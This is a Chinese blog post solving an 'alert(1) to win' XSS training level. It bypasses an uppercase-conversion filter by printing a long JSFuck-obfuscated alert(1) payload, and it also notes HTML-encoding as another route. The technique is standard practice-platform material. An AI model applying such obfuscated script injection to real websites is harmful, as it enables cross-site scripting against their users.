function escape(s) {

  return '<script>console.log("' + s.toUpperCase() + '")</script>';

}

尝试：

输入的 alert 进行了大写转换，ALERT(1)无法执行。

网上有一种jsfuck的混肴编码（https://en.wikipedia.org/wiki/JSFuck）。将alert(1)编码为下面的可执行内容（http://utf-8.jp/public/jsfuck.html）：

(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+!+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()

也可以将 alert 进行html编码。

alert(1) to win 8的更多相关文章

  1. 【alert(1) to win】不完全攻略

    alert(1) to win 一个练习XSS的平台,地址:https://alf.nu/alert1 Warmup 给出了一段JavaScript代码 function escape(s) { re ...

  2. alert(1) to win Part Ⅰ

    alert(1) to win Adobe: function escape(s) { s = s.replace(/"/g, '\\"'); return '<script ...

  3. 【20171027中】alert(1) to win 第13,14,15,16题

    第13题 题目: function escape(s) { var tag = document.createElement('iframe'); // For this one, you get t ...

  4. 【20171027早】alert(1) to win 第9,10,11,12题

    人在江湖,不服就干! 第9题: function escape(s) { function htmlEscape(s) { return s.replace(/./g, function(x) { r ...

  5. 【20171026早】alert(1) to win - 第六、七、八题

    早上7点起床,又写了一篇小说发在了起点网上,有兴趣的可以看看.点击这里 忙完后,继续练习,刚开始发现自己答题的速度有些慢,可能是因为对于html,javascript知识不是很精通,但是话又说回来,谁 ...

  6. 【20171025晚】alert(1) to win 第五题 正则表达式过滤

    吃过晚饭,再练一题 第五题 function escape(s) { var text = s.replace(/</g, '<').replace(/"/g, '"' ...

  7. 【20171025中】alert(1) to win 脚本渲染自建

    游戏误人生,一下午玩了将近四个小时的三国杀,后悔不已,然后重新拾起xss challenge,突发奇想,自己构建渲染后的html. 从最简单的开始. 自动检测html: <!DOCTYPE ht ...

  8. 【20171025早】alert(1) to win 练习

    本人黑绝楼,自称老黑,男,25岁,曾经在BAT工作过两年,但是一直都是底层人员,整天做重复性工作,甚敢无趣,曾和工作十年之久的同事聊天,发现对方回首过往,生活是寡淡如水,只有机械性工作.旋即老黑毅然决 ...

  9. alert(1) to win部分解题

    XSS在线习题分析 (https://alf.nu/alert1) 1. Warmup function escape(s) { return '<script>console.log(& ...

  10. "alert(1) to win" writeup

    地址:http://escape.alf.nu/ level 0: 注意补全,");alert(1)// level 1: 通过添加反斜线使用来转义的反斜线变为字符,\");ale ...

随机推荐

  1. Oracle---智斗ORA01427

    下面是我在做更新的时候遇到报ORA-01427,单行子查询返回多行值,原因是红色部分返回了多行值 UPDATE IN_MO IM      SET IM.BOM_ID =             (S ...

  2. 使用java语言实现一个队列（两种实现比较）（数据结构）

    一.什么是队列,换句话说,队列主要特征是什么? 四个字:先进先出 六个字:屁股进,脑袋出 脑补个场景:日常排队买饭,新来的排在后面,前面打完饭的走人,这就是队列: OK,思考一个问题,我为什么写了两种 ...

  3. maven入门问题解决

    记录入门使用maven的问题和解决方法: 一.用mvn clean compile编译报错/ 或者在IDE中编译时,Problem视图显示错误:无法从maven服务器或者私有服务器或者某个网站中中下载 ...

  4. Prototype js library

    Prototype An object-oriented JavaScript framework Prototype is a JavaScript framework that aims to e ...

  5. db2数据库表操作错误SQL0668N Operation not allowed for reason code "1" on table "表". SQLSTATE=57016的解决方法

    错误sql Operation not allowed for reason code "1" on table "MARKET.PURE_USER".. SQ ...

  6. WPF 实现多语言支持

    WPF 多语言有各种实现方式.如 https://www.codeproject.com/Articles/35159/WPF-Localization-Using-RESX-Files,后来发现这个 ...

  7. 九、MySQL报错（ (1292, u"Truncated incorrect DOUBLE value: '424a000000066'") result = self._query(query)）

    1.数据库sql语句:SELECT seat_id FROM netsale_order_seat os join netsale_order nor on os.order_code=nor.ord ...

  8. HashSet 源码分析

    HashSet 1)HashSet 是基于 HashMap 的 Set 接口实现,元素的迭代是无序的,可以使用 null 元素. 创建实例 /** * HashSet基于HashMap实现 */ pr ...

  9. Sails.js中文文档，Sails中文文档

    Sails.js中文文档   http://sailsdoc.swift.ren/ Sails.js是一个Web框架,可以于轻松构建自定义,企业级Node.js Apps.它在设计上类似于像Ruby ...

  10. Week4 - 500.Keyboard Row & 557.Reverse Words in a String III

    500.Keyboard Row & 557.Reverse Words in a String III 500.Keyboard Row Given a List of words, ret ...